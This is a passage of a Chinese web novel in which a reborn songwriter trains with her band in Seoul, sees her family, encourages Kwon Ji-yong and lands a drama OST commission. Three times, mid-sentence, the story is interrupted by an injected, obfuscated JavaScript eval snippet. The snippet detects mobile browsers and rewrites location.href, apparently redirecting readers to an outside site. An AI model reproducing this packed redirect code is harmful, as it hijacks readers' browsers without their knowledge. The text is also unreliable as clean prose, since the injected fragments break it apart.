“听书慧姐提到一家中餐馆,老板是国内来的,做的菜味道比较正宗,带你们去尝尝。对了,书慧姐是我们乐队的鼓手,在国内长大的华裔。” 文槿左手妈妈右手哥哥小嘴叭叭说个不停,兴奋之下语速不自觉变快。 文景行走在妻子身边,偷偷用眼睛瞪没眼色的侄儿。臭小子竟敢抢他的位置把他从槿槿身边挤走,没一点尊老爱幼的美德。 左半边脸差点被幺叔灼热的视线点着,文襄不可能毫无察觉,装作若无其事的样子和婶婶妹妹说话。 凭实力抢来的位置,让是不可能的,绝对不可能。 李书慧的推荐没让人失望,餐馆的菜色改良不多,熟悉的味道让四个正宗华国胃非常满意。一家人边吃边聊,仿佛回到从前,不知不觉一个小时过去。 “爷爷原本想一起来,带奶奶来看看你,再四处走走。说他们年纪越来越大,现在不出门以后更不方便。” 回到酒店,文襄找出相机把里面的照片翻给文槿看。 “老人家身体不错,但现在毕竟是冬天。首尔的天气比家里冷,怕生病没让他们来。不过我已经答应了,暑假正式出道的时候带他们来看你。” 文槿的目光在照片上流连,家人、老宅还有古韵深深的风荷镇,曾经是她的全世界。即使现在她有更广阔的世界,那里依然有她无法割舍的最重要的部分。 照片差点把人看emo,文槿放下相机通过调侃哥哥缓解情绪,“医学生这么空闲吗?四处溜达,小哥你该不会是班上破罐子破摔的吊车尾吧?” 嘴贱的后果,就是被亲爱的哥哥赏了一颗爆栗子外加一个白眼。 “要不是放心不下你,我会来这儿?”文襄边说边用眼神进行威慑。 文槿瘪嘴,“……我错了嘛。” 围观孩子们闹嘴皮子官司有意思极了,文景行和柳思珍看得津津有味。 “别光说我,你又是上学又要出道,一根蜡烛两头烧,身体吃的消吗?” 话音未落,三人的目光齐齐落在文槿身上。总觉得人瘦了不少,眼中掩不住的关切担忧。 “哎呀,你们别担心,稍微忙点而已,算不得什么。”她摆摆手,做了一个反手的动作,“人生,易如反掌。” “……” “噗~好中二的发言。” 文襄实在没忍住,笑得前仰后合。 倾情演出被打断,文槿气得哇哇叫,拎起抱枕追着他打,闹到快十点才各自回房间。 给尹杉月打电话说了今晚外宿的事,文槿麻溜洗漱完钻进妈妈的被窝。母女俩抱在一起小声说着贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16061744|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心话,直到睡意袭来双双进入甜美的梦乡。 春节近在眼前,家里的事不能全推给其他人,文景行和柳思珍不好在首尔久待。主要女儿也没空闲陪他们,见她一切安好,没两天三人便打道回府。 红着眼睛把人送走,文槿转头眼泪一抹钻进工作室,唰唰唰写了两首歌。 小心措辞准备安慰她的姐姐们:“……” 阿西,这丫头到底是真伤心还是装的?情绪变得太快了吧。 春节前几天,文槿接到权至龙打来的电话。 “至龙?” “是我。阿槿,你说的话确实很灵。”电话刚接通,权至龙兜头丢过来一句话。 “嚯~”文槿轻笑一声,心中了然,“恭喜我们至龙,要出道了哦。” 那笑声仿佛就响在耳边,权至龙揉了揉耳朵试图驱散痒意,努力稳住声线。 “还早呢。社长已经把企划正式提上日程,春节后开始拍出道实录,但我也有可能被淘汰不是吗?” “不会,你不会被淘汰。”文槿的语气十分坚定,“如果连你都无法出道,还有谁有资格呢?” “原来阿槿对我这么有信心。”权至龙抑制不住地开心,“不出道岂不是对不起你?” “对不起我算什么大事?你要对得起自己,对得起过去十年流过的血和汗。” “好,我一定再接再厉。”话虽如此,权至龙的情绪却缓和多了,“谢谢你,愿意听我说话。” 好神奇,那些不能对咏裴也不能和父母吐露的话,在文槿面前好像轻易就能说出口。明明没有认识很久,心里却有种奇怪的笃定——她能懂。 “任何时候,只要需要,GD头号粉丝愿意为您效劳。” 权至龙被逗笑,“真的?你是我的头号粉丝?不会是哄我高兴吧?” “是呢,上辈子就是了。”文槿唱了几句《我的年龄13岁》,“还可以吧?亲爱的GDxi,愿意给我这个头号粉丝No.1号码牌吗?” “可、可以。” 权至龙震惊无比,若不是声线不同,差点怀疑文槿放的是原音。 到底要多喜欢,听过多少遍,才能模仿的一般无二。 因为过于震惊,他没注意到亲爱的三个字,事后想起来差点乐成傻子,一连几天情绪高昂走路蹦高。 身边的人只当他在为出道的事高兴,哪里知道还夹杂着一段无法言说的少年心事。 得知文槿春节不回华国,权至龙曾对她发出一起过节的邀请,文槿拒绝了。不仅是他,闵仙艺、乐队的姐姐还有社长的邀请一并都拒绝了。 比起和不熟悉的人不尴不尬地待在一起,她更喜欢独处。没有阖家团圆,节日于她失去了意义,怎么过都一样。 尽管如此,除夕当天闵仙艺和权至龙先后过来给她送家里做的食物,姐姐们也有打电话关心。 还有最重要的,从华国来的国际长途。一大家人在电话里热热闹闹地陪她守岁,一起从除夕走向新年。 “新年快乐,槿槿。今年也要非常、非常健康快乐,然后顺利出道成为歌手吧!” “嗯!大家新年快乐!” 文槿用力点头,眸光璀璨远胜窗外的烟火。 21.第 21 章 春节之后,时间仿佛被人按下倍速键走得飞快。一眨眼第二学期开始,文槿再次开始早四晚十,学校、公司、宿舍三点一线的生活。 同为有学业的人,成员们虽说不用负担歌曲主创工作,排练起来照样没日没夜,谁也不比谁轻松。 累到话都不想说的时候,一起瘫在练习室的地板上演死尸,然后嘲笑其他人演得不够生动。 开学没多久,文槿顺利完成包括出道曲在内的首张正规专辑全部十首歌的词曲创作以及编曲工作,了解情况的谁不叹一声狠人。 出道曲名为《启航》,专辑与之同名,另外几首歌曲也都围绕这个概念来写。 年轻人对未知世界的迷茫惶惑、踟蹰不前,倾尽全力直面挑战的勇气,赤子之心的热忱坦荡,迎头痛击后的挫败…… 不是一味的上高度打鸡血,但整体昂扬向上,给人以温和的接纳和激励,是一张值得反复聆听回味的专辑。 听完文槿录的demo,朴真英在办公室坐了许久,唯恐被人看见自己比AK还难压的嘴角而社长形象不保。 等他调整好心情出来,Resonance乐队出道在酱油瓶内部彻底钉死成为既定事实。排练、录音、设计造型、拍摄MV、内页,一项项有条不紊的准备起来。 歌曲是一首一首慢慢出的,最后一首完成时前面的歌成员们已经练得相当不错。验收合格后,五人被打包扔进录音室。 为了保留音乐的整体性、氛围感和演奏者的情绪,文槿强烈要求效仿霓虹的乐队,尽量以同期录音的方式录制专辑。 对乐队而言,圆融的氛围是极其重要的东西。如果各自为战没有情绪上的呼应,给听众的感觉像是主唱和她的伴奏们而非一个团体,那不如趁早解散。 《启航》的编曲不算复杂,在同期录音不影响后续细节调整和音质清晰度的前提下,朴真英答应一试。 成员们到这个时候才发现,排练中的老幺算得上和风细雨,坐在录音操作台前的她才是名副其实的大魔王。 她会用最温柔认真的语气仔细讲解要求和不恰当的地方,然后反复挑刺重来,直到录制效果达到她的要求。 有时大家都认为可以了,她还能挑出错来,吹毛求疵不过如此。出道曲录到最后,大家开始害怕和文槿对上视线,唯恐自己的名字在她口中出现。 好处不是没有,尹杉月四人现在闭着眼睛都能把歌曲顺下来。不单自己的part,其他人的部分也了然于胸,无需思考就能在最恰当的时机接入切出,默契得仿佛一个人。 “我没说错吧,姐姐们果然能做到。”文槿鼓掌微笑,十分欣慰的样子。 尹杉月&李音华&李书慧&赵美娴:……是是是,你说得对。 不停重复一件事自然有烦躁地想要大吼大叫甚至发脾气扔东西的时候,每当大家的情绪过于紧绷,文槿也会第一时间发现想办法替她们纾解。 “锵锵锵——看看这是什么?” 文槿从外面探头进来,见练习室只有四个姐姐,立马关门献宝似的拿出身后的袋子。 大家早就发现她悄悄出去的事,心情不好没人提而已。 意料之中没人搭话,文槿毫不在意自顾自把袋子里的东西往外拿。 “呜哇,这个焦糖戚风蛋糕看起来好好吃的样子,没人吃的话我不客气啦。” “唔,这个香甜的蛋挞在勾引我,要不吃你吧?” “嘤,熔岩巧克力蛋糕也很不错的样子。怎么办,好难选?” 自导自演,把大家馋的够呛。 李音华没忍住瞪她一眼,“呀,臭丫头想吃出去吃啊,一直说个不停是要怎样?” 文槿皱皱鼻子,“可是我想和大家一起吃,不能我一个人长胖嘛。” 尹杉月被她可爱到,捂着心脏缓缓倒下。 “姐姐——你怎么了?难道是饿晕了?快,我喂你吃东西。” 文槿连滚带爬的扑过来,一把将尹杉月拉进怀里紧紧抱住,浮夸的演技令人忍俊不禁。 脸颊撞在妹妹柔软的胸口,窒息和羞涩同时袭来,尹杉月差点没晕过去。两只胳膊在半空无力地挣扎片刻,从心的落在文槿腰上。 哇,比视觉上更纤细,柔韧有力还香喷喷的。 李音华朝天翻个白眼,用脚尖踢了踢尹杉月,对方无动于衷,还悄悄挪远一些。 “差不多得了,吃豆腐没够是吧?” 三两步走过来,把某尹姓牛皮糖从单纯的老小身上撕下来,远远丢在一边。 李书慧抿嘴扭头,不想和赵美娴对上视线。两人顿时破功,捂着嘴巴肩膀疯狂颤动。 解决完臭不要脸的队长,李音华臭拉长张脸硬邦邦的对文槿说:“我要吃蛋挞。” “水果也买了,再来个苹果?” “现在是晚上,想胖死我吗?” “吃水果不长胖的,姐姐。” “……我说会就会。” 文槿妥协了:“嗯,姐姐说的对。” 然后呢? 你倒是拿走啊。 李音华无奈,收下递到面前的苹果。 类似的事在Resonance乐队的练习室隔三差五上演,文槿会在大家心情不好的时候给她们买好吃的水果甜点,体能老师不让吃但她会悄悄买偷渡给大家。 又或者说笑话讲故事,演一场滑稽的独角戏,哪怕没人搭理、被瞪甚至骂上几句。 冷静下来的姐姐们不免为自己的行为感到脸红羞愧,事后纷纷找文槿道歉。 “没关系呀,我知道姐姐们是太想做好才会这样。情绪发泄出来总比憋在心里好,我完全没关系。” 文槿没说谎,她是真的没放在心上。 外人看来她是队内最小的成员,实际她才是最年长的那一个,看大家和看孩子一样。 烦躁时控制不住情绪是一件很正常的事,成员们没有针对文槿发脾气,也没人要求她必须帮大家梳理情绪,是她主动揽事上身。 情出自愿,不问结果,所以无论什么情况她都能坦然接受。因为哪怕是善意,也没有强求他人必须接受的道理。 争吵和矛盾能深刻认识人的本性,几次之后,五人的关系肉眼可见变得更加亲密,大家也学会在情绪不佳的时候想办法梳理而不是一味压制。 崔宏哲看在眼里,默默为文槿竖大拇指。 团队想走得远,不能缺少粘合剂。他以为这个人会是身为队长且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16068369|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最年长的尹杉月,没想到是文槿。 想到对方在音乐上的敏锐,也不觉得奇怪了。 敏感的人往往拥有超乎寻常的共情能力,没人比他们更能体谅其他人,只看愿不愿意。 真幸运啊,队伍的核心是这样善良又温柔的孩子。 新学期的开始,意味着新一轮竞争的开始。 作为韩国top3之一,首尔大学除去深厚的师资力量,还会给学子提供高质量的交流实践的机会。 比如各种比赛,研讨会座谈会,交换学习,大单位的推荐机会等等。 骨子里带点艺术家和文人的清高,文槿不愿意拿二十年吃饭的本事和十几二十岁的孩子同台竞技。在同学们兴高采烈参加各种比赛的时候,无动于衷的她显得格格不入。 练习生的身份也为她招来不少议论,不乏有说她自甘堕落、自甘下贱的难听话。 文槿心知肚明,但她不在意。没人比她更清楚自己想要什么,早都不需要旁人的认同来坚定决心。 而且退一万步讲,理解的人不用她多费口舌,不能理解的人解释也没用。 然后有这么一位开明的老师,递来合作的橄榄枝。 “给SBS的水木电视剧写OST?我是一年级学生,金老师您知道的吧?”系主任办公室,文槿不可思议地追问。 “你没听错,我知道。”系主任年纪在四十上下,长相只是清秀但气韵优雅富有学者气质,“文槿同学,事情是这样……” 南韩的电视剧大多采取边拍边播的模式,一般拍摄两周左右就要准备播出首集。 SBS最近开拍的校园剧眼看到播出日,竟然没约到满意的OST。音乐跟不上,后期工作就不能正常进行。 眼看时间一天天逼近,被逼上梁山的负责人找到系主任请求帮助。 “电视台有不少首尔大的校友就职,辗转求到我这里不好不帮。偏偏东西要的急还是按图写作,有能力的人要么没空要么不乐意。我打算在作曲系找几个能力过硬的研究生帮忙,至于你,是安娜向我推荐了你。” 原来如此! 安娜老师是当初参加面试时对文槿非常热情的那位,她来自俄罗斯,在音乐学院主讲和声学。 目前文槿还没有上到这门课,奈何安娜老师实在热情,每次在校园遇见都要拉住她聊几句,文槿对她比主课老师还熟稔。 “我听过你的作品,浪漫灵动,有一种语言无法形容的坚韧,给校园剧写OST相得益彰。” 金老师拍拍她的肩膀,“不要有压力,天塌下来自有学长学姐顶着。尽管试试看,失败能有多大的损失呢。” OST而已,又不是没写过,文槿可不会觉得有压力。如果她不是练习生,保准一口答应。 但她是啊,于情于理都该和公司说一声,优秀员工应该主动杜绝所有会和老板生嫌隙的可能。 “抱歉,我不能马上答应您,可以打个电话吗?” 金老师了然,“听说你现在是练习生,要和公司报备?” “是的。”文槿十分坦荡,并不觉得练习生是个多么拿不出手的身份。 笑意在年长者眼中荡起层层涟漪,动作优雅示意,“请自便。” 22.第 22 章 和文槿想象的一样,听到有这等好事崔宏哲连声催她答应,社长那里自有他来汇报。 收起电话,文槿无声地叹气。果然,对资本家来说牛马只要累不死就往死里累,没人关心牛马的心情和健康。 “如何?” 金老师的声音在身后响起,文槿转身脸上重新挽起笑容,“谢谢老师给我这个机会,我一定全力以赴。” 矫情不到三秒,卷王之魂重新回归。文槿摩拳擦掌,必要拿下电视剧OST。不仅是创作,演唱者的身份她想一并拿下。 Resonance乐队的目标受众是年轻人,和校园剧的观众有较大程度地重合。如果能在正式出道前借电视剧先一步打开知名度,日后的路会好走很多。 如今是四月,出道日初步预计是八月,间隔时间长了点,但总比没有强。 剧组催得紧,按照金老师所说文槿和两名师兄师姐当天下午就得去剧组报到。 了解完整的故事情节并观摩演员对戏,然后在两天内给出完整的词曲。剧组再花两天时间找人编曲、演唱,最后进行剪辑和后期。 不是剧组强人所难,而是一周后电视剧要在SBS水木剧场和观众见面。 时间卡这么近,文槿的把握反而更大。如果她在两天内同时搞定词曲创作和编曲,然后在录demo时好好展示一番实力…… 眼前有最优选,时间紧迫的剧组大概率不会另寻他人浪费时间。 好,就这么干! 文槿握拳,前脚刚出金老师的办公室,后脚就给崔宏哲打电话,“哥,我下午去SBS,你帮我和姐姐们说一声顺便请个假。” “好好好,你安心办事,其他的交给我。” 崔宏哲满口答应,语气柔和近乎谄媚。他觉得自己是传说中的锦鲤体质,注定被神队友带飞。 上午的课刚结束,文槿接到师姐的电话,约她一起去电视台。 低头看一眼衣着,是当初面试穿的那身。头发和往常一样编成辫子垂在脑后,没化妆但胜在气血足唇红齿白,主打青春无敌天生丽质,见谁都不会失礼。 她放下心,匆匆在食堂对付一口赶去和师姐汇合。另外一位师兄也在,三人客气的打招呼再寒暄几句,AA制打车前往SBS电视台。 到门口后师兄联系剧组的校友,对方很快出来,手里拿着三个临时工牌,客气把他们带进去。 当视线落在文槿身上,对方就差把惊艳两个字写在脸上。但他没有多说题外话,看起来忧心忡忡的。 “欢迎三位学弟学妹,我姓赵,是剧组的音乐总监。你们的工作由我对接,有事直说就好。” 剧组拍摄地点跟场景走,今天恰好在电视台,免了文槿等人路上奔波。 “现场有点乱,你们进去后别乱跑小心受伤。剧情方面有疑问找编剧,休息时间也可以找导演,其他事找我。只要在规定时间前顺利把OST写出来,你们就是剧组的大恩人。” 只给两天时间,写出来免于开天窗,恩人这个词确实当得。 师兄师姐对视一眼,眼中满是无奈。 好的作品要精雕细琢,两天能写出什么好东西?以为他们是当世贝多芬吗? 至于文槿,在他们眼里就是来充数的。一个才考上音乐学院没多久的菜鸟,和他们同行都算荣幸。凑数而已,根本不被放在眼里。 文槿恍若未觉,嘴角挂着若有若无的笑意,边走边观察SBS大楼。 一楼大堂挑空,装饰有各个优秀电视剧的大幅剧照。文槿低头偷偷做怪相,因为上面的演员她一个都不认识。 大堂里侧是刷工作牌的闸机入口,进去后乘电梯可以抵达各个制作部门和剧组。 校园剧造景相对简单,现场看得出来条理得当,并不是赵总监口中那样。大约是人和机器太多的缘故,声音比较杂,才会给人乱糟糟的感觉。 文槿乖巧地跟在师兄师姐身后,一路穿过人群来到编剧和导演面前。 南韩剧组是编剧中心制,编剧普遍权力比导演大。尤其是一些佳作频出的编剧,剧组可谓是他们的一言堂。 但这些与文槿三人无关,他们是来救急的,编剧和导演的态度十分温和可亲。 简单说明情况然后签保密协议,《三年六班》的剧本落到文槿手里。 编剧告诉三人除非剧集拍完,否则剧本随时可能更改,但故事的核心不会变。 《三年六班》讲的是一群高三生和补习机构的再修生为大学修学能力考试奋战的故事。 有埋头苦读和挑灯夜战,也有虚张声势笑料百出的小心机;有青涩懵懂的爱情,也有赤忱热烈的友情。最后各有取舍也各有得失,从青涩到成熟,说不上是美好更好还是遗憾更多。 这是一个仅看剧本就让人深深共情的,酸涩又美好的青春故事。 剧组时间紧张,导演很快投入到下一场拍摄中。师兄师姐围着编剧说话,文槿插不进去索性离开去围观拍摄现场。 韩娱圈的内卷体现在方方面面,《三年六班》的主演年纪不大演技却相当不错。一连好几场的拍摄,前后状态毫无差别。 文槿想到傅承颐,不知道他在片场是什么模样。 可惜呐,他的作品自己没看过。从前没有时间,后来条件不允许。只靠耳朵听,想象不到小侄女口中可帅了是有多帅。 但一个毫无背景的小镇青年能从微末走到行业顶端,外貌、演技、人品,三者缺一不可。 文槿掐指一算,这小子现在才16周岁,连戏剧学院都没考上呢。再等等吧,这一次她不会错过了。 好不容易等到师兄师姐离开,文槿立马抓住机会和编剧交流,了解她创作剧本的初衷以及深层次的情感趋向。 “……大概就是这样的。”说完正题,编剧没忍住歪楼,饶有兴致的问道:“有兴趣做演员吗,文槿xi?” “谢谢您的好意,但我只喜欢音乐。”文槿摇头,对她的招揽习以为常。 “好吧,我猜到了。” 编剧遗憾地叹气,凭对方的外貌气质,但凡有点想法不会到现在还是素人。 “我去忙了,《三年六班》的OST就拜托你们了。” 文槿在剧组一直待到傍晚,随身的小本本密密麻麻写满了字,有观摩过程中演员打动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16073602|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的点,也有准备写进歌词的重要故事节点。 离开的时候,意外在一楼大堂遇到司马家去年出道的新男团。十二个大男孩走在一起,乌泱泱的一群气势惊人。 文槿不自觉停下脚步,视线在人群里逡巡,精准定位韩更和金希徹。 一个是精致帅气的同胞,一个是漫画里走出来的花美男,对眼睛着实友好,颜控的福音呐。 站在出门的必经之路上光明正大的看,SJ成员看不到她就怪了。 发现是个绝无仅有的大美人,呜哇呜哇低声怪叫。还有人看似淡定实则忙乱的整理衣着摆pose,试图让自己看起来更帅气一点。 “更,她在看你诶,上去认识下要个电话怎么样?”金希徹手搭在韩更肩上,姿态亲密,言语放肆。 韩更无语地白他一眼,“胡说什么,人家也有看你啊。” “那我去要。” 金希徹站直身体,作势欲走。韩更连忙拉住他,因为这哥真做得出来。 不等他们有所反应,文槿率先迈开步子。路过他们时,犹豫半晌还是停在韩更面前。 “你好?” 他脸上的迷茫是那么真实,文槿忍不住嘴角上扬。像破晓时的第一道天光,骤然划破黑暗,明媚灿烂难以直视。 “加油,韩更。” 字正腔圆的中文,在陌生的国度带给韩更极大的触动,他惊讶的开口:“你是……” “嗯哼~”文槿歪着脑袋笑得十分可爱,“拜拜,后会有期。” 朝大家挥挥手,潇洒转身离去。 “这就走了?”金希徹一脸诧异,目光长久地落在文槿的背影上,嘴上好奇地追问:“更,她和你说什么?” 其他成员看似不在意,实则一个个耳朵竖得忒高,默契地围过来。 韩更的心情突然好起来,眉梢微挑,“你猜?” “切,不说拉倒。”金希徹捶他,“除了最后一句,我都听懂了好吧。” “那你还问?” “就问。” 两人像小学生一样没营养地怼来怼去,随大部队坐上保姆车奔赴下一个行程地点。 回到公司的文槿在食堂好好吃了一顿晚餐,随后钻进工作室开始平地起高楼。等到尹杉月过来敲门喊她回宿舍,歌词已经写好了。 “这速度,这高效,这品质……啊,不愧是我,天才制作人文槿大师。”毫不谦逊地狠夸自己几句,心情极好的跟姐姐回家。 “今天在剧组顺利吗?有没有人刁难你?”尹杉月絮絮叨叨有说不完的担心,“写不出来不要逼自己,我家阿槿写了那么好听的出道曲,肯定受欢迎。” 李音华也在旁边劝,“乐队不是你一个人的责任,不要什么都往自己肩上扛,姐姐们会羞愧得无地自容的。” “知道啦~”文槿小脸皱巴巴的,已经可以自如地和姐姐们撒娇,“机会难得,能争取到总是好事。” “啧,真是好强的丫头,小心累死自己。” 文槿:“……音华姐,你要不舔一下自己的嘴巴试试?” 换个不了解的人,你已经被打了,晓不晓得?